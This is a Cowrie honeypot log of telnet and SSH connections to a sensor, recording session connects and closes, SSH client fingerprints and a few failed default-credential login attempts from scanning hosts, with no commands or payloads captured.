{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60968,"dst_ip":"10.17.0.5","dst_port":23,"session":"556fbab926b4","protocol":"telnet","message":"New connection: 159.203.13.64:60968 (10.17.0.5:23) [session: 556fbab926b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:15.436425Z"}
{"eventid":"cowrie.session.closed","duration":36.698320388793945,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:16.617021Z","src_ip":"159.203.13.64","session":"52a6a8a5b3c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60976,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a4b0fa41b0","protocol":"telnet","message":"New connection: 159.203.13.64:60976 (10.17.0.5:23) [session: 94a4b0fa41b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:17.344148Z"}
{"eventid":"cowrie.session.closed","duration":4.852841377258301,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:18.049324Z","src_ip":"159.203.13.64","session":"19b444345329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60980,"dst_ip":"10.17.0.5","dst_port":23,"session":"005b533b167e","protocol":"telnet","message":"New connection: 159.203.13.64:60980 (10.17.0.5:23) [session: 005b533b167e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:18.325832Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60990,"dst_ip":"10.17.0.5","dst_port":23,"session":"a362cd1368d3","protocol":"telnet","message":"New connection: 159.203.13.64:60990 (10.17.0.5:23) [session: a362cd1368d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:18.519199Z"}
{"eventid":"cowrie.session.closed","duration":35.01484537124634,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.336597Z","src_ip":"159.203.13.64","session":"205371a68b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":55268,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e4f7c60b98e","protocol":"ssh","message":"New connection: 186.13.24.118:55268 (159.203.135.109:22) [session: 4e4f7c60b98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.693530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.698424Z","src_ip":"186.13.24.118","session":"4e4f7c60b98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.76447820663452,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.729960Z","src_ip":"159.203.13.64","session":"961dbd3d043d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.853205Z","src_ip":"186.13.24.118","session":"4e4f7c60b98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60404,"dst_ip":"159.203.135.109","dst_port":22,"session":"8afade3b30c3","protocol":"ssh","message":"New connection: 159.203.92.129:60404 (159.203.135.109:22) [session: 8afade3b30c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.914752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.919669Z","src_ip":"159.203.92.129","session":"8afade3b30c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.924467Z","src_ip":"159.203.92.129","session":"8afade3b30c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60260,"dst_ip":"10.17.0.5","dst_port":23,"session":"35ddbd3fc5cc","protocol":"telnet","message":"New connection: 159.203.13.64:60260 (10.17.0.5:23) [session: 35ddbd3fc5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.931730Z"}
{"eventid":"cowrie.login.failed","username":"allegra","password":"allegra","message":"login attempt [allegra/allegra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:21.939334Z","src_ip":"159.203.92.129","session":"8afade3b30c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop1","password":"hadoop1","message":"login attempt [hadoop1/hadoop1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:22.507279Z","src_ip":"186.13.24.118","session":"4e4f7c60b98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:22.945610Z","src_ip":"159.203.92.129","session":"8afade3b30c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:23.665407Z","src_ip":"186.13.24.118","session":"4e4f7c60b98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.428367137908936,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:24.730228Z","src_ip":"159.203.13.64","session":"597798af0b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.10491919517517,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:25.637620Z","src_ip":"159.203.13.64","session":"60789e379631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48500,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8cedf98d0e5","protocol":"telnet","message":"New connection: 80.252.221.197:48500 (159.203.135.109:23) [session: b8cedf98d0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:29.472213Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48496,"dst_ip":"159.203.135.109","dst_port":23,"session":"02f12c14c3d8","protocol":"telnet","message":"New connection: 80.252.221.197:48496 (159.203.135.109:23) [session: 02f12c14c3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:29.475833Z"}
{"eventid":"cowrie.session.closed","duration":41.801347970962524,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:29.624567Z","src_ip":"159.203.13.64","session":"998b5c4e56e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48502,"dst_ip":"159.203.135.109","dst_port":23,"session":"87d2007363a0","protocol":"telnet","message":"New connection: 80.252.221.197:48502 (159.203.135.109:23) [session: 87d2007363a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:30.104419Z"}
{"eventid":"cowrie.session.closed","duration":38.90403175354004,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:31.803351Z","src_ip":"159.203.13.64","session":"7039bbb34161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51802,"dst_ip":"10.17.0.5","dst_port":23,"session":"659cedd588b8","protocol":"telnet","message":"New connection: 159.203.13.64:51802 (10.17.0.5:23) [session: 659cedd588b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:33.294895Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51816,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb4bff5bbac3","protocol":"telnet","message":"New connection: 159.203.13.64:51816 (10.17.0.5:23) [session: cb4bff5bbac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:34.062636Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51832,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b0273502635","protocol":"telnet","message":"New connection: 159.203.13.64:51832 (10.17.0.5:23) [session: 2b0273502635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:34.686713Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48504,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e8daf3630ad","protocol":"telnet","message":"New connection: 80.252.221.197:48504 (159.203.135.109:23) [session: 6e8daf3630ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:36.271729Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51848,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c5d5f8fe43","protocol":"telnet","message":"New connection: 159.203.13.64:51848 (10.17.0.5:23) [session: 54c5d5f8fe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:38.447760Z"}
{"eventid":"cowrie.session.closed","duration":38.0099036693573,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:39.251069Z","src_ip":"80.252.221.197","session":"aa4df8c3210e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.328537940979004,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:40.171786Z","src_ip":"80.252.221.197","session":"c9b356806e43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.768455505371094,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:40.725365Z","src_ip":"159.203.13.64","session":"88383d3e182c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59310,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c36bf5f053","protocol":"telnet","message":"New connection: 159.203.13.64:59310 (10.17.0.5:23) [session: b3c36bf5f053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:40.848723Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59320,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb9b6e2bd7ed","protocol":"telnet","message":"New connection: 159.203.13.64:59320 (10.17.0.5:23) [session: fb9b6e2bd7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:41.467584Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59332,"dst_ip":"10.17.0.5","dst_port":23,"session":"af64815c9c13","protocol":"telnet","message":"New connection: 159.203.13.64:59332 (10.17.0.5:23) [session: af64815c9c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:41.682687Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"00cb735929cf","protocol":"telnet","message":"New connection: 159.203.13.64:59342 (10.17.0.5:23) [session: 00cb735929cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:42.353468Z"}
{"eventid":"cowrie.session.closed","duration":40.8333899974823,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:42.743860Z","src_ip":"80.252.221.197","session":"6693076bccad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.01855182647705,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:43.434363Z","src_ip":"159.203.13.64","session":"7f65298b69e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59346,"dst_ip":"10.17.0.5","dst_port":23,"session":"f14fb336e3aa","protocol":"telnet","message":"New connection: 159.203.13.64:59346 (10.17.0.5:23) [session: f14fb336e3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:44.010634Z"}
{"eventid":"cowrie.session.closed","duration":32.62604999542236,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:44.728239Z","src_ip":"159.203.13.64","session":"89c18b75ceea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.46596431732178,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:44.889038Z","src_ip":"159.203.13.64","session":"836264def017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.45735549926758,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:45.800233Z","src_ip":"159.203.13.64","session":"6fcd14c4a4cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59362,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18b1f7aa91b","protocol":"telnet","message":"New connection: 159.203.13.64:59362 (10.17.0.5:23) [session: e18b1f7aa91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:45.998783Z"}
{"eventid":"cowrie.session.closed","duration":47.13116383552551,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:46.565231Z","src_ip":"159.203.13.64","session":"d4ab12da2180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":48232,"dst_ip":"10.17.0.5","dst_port":22,"session":"d28c3ade2692","protocol":"ssh","message":"New connection: 80.94.92.168:48232 (10.17.0.5:22) [session: d28c3ade2692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:46.778245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:46.944711Z","src_ip":"80.94.92.168","session":"d28c3ade2692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:46.948246Z","src_ip":"80.94.92.168","session":"d28c3ade2692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59378,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0264cfa2000","protocol":"telnet","message":"New connection: 159.203.13.64:59378 (10.17.0.5:23) [session: a0264cfa2000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:47.376080Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59386,"dst_ip":"10.17.0.5","dst_port":23,"session":"8246e1582850","protocol":"telnet","message":"New connection: 159.203.13.64:59386 (10.17.0.5:23) [session: 8246e1582850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:47.497181Z"}
{"eventid":"cowrie.session.closed","duration":38.70399594306946,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:48.016893Z","src_ip":"159.203.13.64","session":"40836972aef3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:48.226672Z","src_ip":"80.94.92.168","session":"d28c3ade2692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:49.522916Z","src_ip":"80.94.92.168","session":"d28c3ade2692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.515861749649048,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:50.891818Z","src_ip":"159.203.13.64","session":"a0264cfa2000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4462e780b0b","protocol":"telnet","message":"New connection: 159.203.13.64:44572 (10.17.0.5:23) [session: b4462e780b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:53.504332Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44584,"dst_ip":"10.17.0.5","dst_port":23,"session":"6adf63ae36e8","protocol":"telnet","message":"New connection: 159.203.13.64:44584 (10.17.0.5:23) [session: 6adf63ae36e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:54.309680Z"}
{"eventid":"cowrie.session.closed","duration":41.88820171356201,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:56.399575Z","src_ip":"159.203.13.64","session":"5b0d173cfd44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.644171953201294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:56.575811Z","src_ip":"159.203.13.64","session":"35ddbd3fc5cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44590,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55789d0c622","protocol":"telnet","message":"New connection: 159.203.13.64:44590 (10.17.0.5:23) [session: e55789d0c622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:56.821624Z"}
{"eventid":"cowrie.session.closed","duration":45.72537422180176,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:01.161685Z","src_ip":"159.203.13.64","session":"556fbab926b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.51808142662048,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:01.843749Z","src_ip":"159.203.13.64","session":"005b533b167e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40884,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa7e0573a80b","protocol":"telnet","message":"New connection: 159.203.13.64:40884 (10.17.0.5:23) [session: aa7e0573a80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:02.053349Z"}
{"eventid":"cowrie.session.closed","duration":34.578673362731934,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.050706Z","src_ip":"80.252.221.197","session":"b8cedf98d0e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.578821659088135,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.054559Z","src_ip":"80.252.221.197","session":"02f12c14c3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40888,"dst_ip":"10.17.0.5","dst_port":23,"session":"823f73eee8ca","protocol":"telnet","message":"New connection: 159.203.13.64:40888 (10.17.0.5:23) [session: 823f73eee8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.090425Z"}
